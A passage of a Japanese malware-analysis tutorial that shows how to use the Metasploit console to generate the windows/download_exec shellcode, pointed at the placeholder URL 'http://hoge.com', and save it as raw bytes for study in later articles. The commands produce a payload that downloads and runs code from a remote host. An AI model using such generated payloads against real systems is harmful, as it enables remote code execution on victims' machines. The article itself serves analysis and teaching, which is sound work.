今後連載を進めていくにあたり、読者にも実際のシェルコードで試してもらいたいと考えています。そこでここでは、解析対象として使用するシェルコードをMetasploit Framework(注3)を利用して取得する方法を解説します。
Metasploit Frameworkはペネトレーションテスト用のツールとしてフリーで公開されているソフトウェアで、バージョン3.7.0では684種類の攻撃コード、217種類のペイロード(シェルコード)を同封しています。
ここでは、Metasploitの持つシェルコードをファイルとして取り出す方法を説明します。なお、インストール方法は本記事の主旨とずれますので、ここでは割愛します。詳細はMetasploitのInstallation Guide(注4)を参照してください。
インストールが完了したら、「Metasploit Console」を起動します(図3)。
msf > show payloads
上記のようにコマンドを打つと、このMetasploitが持っているシェルコード(ペイロード)の一覧を見ることができます(図4)。
ここではWindowsを対象とする基本的なシェルコードの1つであるdownload_execをファイルとして取り出してみたいと思います。まず、下記のようにコマンドを実行し、利用するペイロード(シェルコード)をセットします。
msf> use windows/download_exec
次に、このpayloadにセットできるオプションを確認します。
msf payload(download_exec) > show options Module options (payload/windows/download_exec): Name Current Setting Required Description ---- --------------- -------- ----------- URL yes The pre-encoded URL to the executable
これによるとURLという変数の設定が必須なので、ここでは、このURLに「http://hoge.com」とセットします。
msf payload(download_exec) > set URL http://hoge.com URL => http://hoge.com
これで準備は整いました。generateコマンドを利用してシェルコードをファイルに書き出します。ちなみにgenerateコマンドのヘルプは以下のようになっています。
msf payload(download_exec) > generate -h Usage: generate [options] Generates a payload. OPTIONS: -E Force encoding. -b <opt> The list of characters to avoid: '\x00\xff' -e <opt> The name of the encoder module to use. -f <opt> The output file name (otherwise stdout) -h Help banner. -i <opt> the number of encoding iterations. -k Keep the template executable functional -o <opt> A comma separated list of options in VAR=VAL format. -p <opt> The Platform for output. -s <opt> NOP sled length. -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -x <opt> The executable template to use
シェルコードのみをファイルとして書き出したい場合は、「-t raw -f ファイル名」オプションで実行してください。
msf payload(download_exec) > generate -t raw -f download_exec.bin [*] Writing 355 bytes to download_exec.bin...
上記の例では、download_exec.binファイルにシェルコードを書き出しました。コマンド実行後にMetasploitをインストールしたフォルダの下の作業フォルダ(筆者の環境ではC:\Program Files (x86)\Rapid7\framework\msf3)を見てみると、download_exec.binが生成されていることが分かります。これがMetasploitから切り出したdownload_execのシェルコードになります。
次回以降、このシェルコードを利用して、解析の基本的な知識やツールを紹介していきたいと思います。それでは、本日はこの辺で。
川古谷 裕平(かわこや ゆうへい)
2005年 日本電信電話株式会社入社。入社以来、ハニーポット技術やマルウェア解析技術の研究開発に従事。国内外のカンファレンスや学会で研究成果の発表を行っている。「アナライジング・マルウェア」の著者。
Copyright © ITmedia, Inc. All Rights Reserved.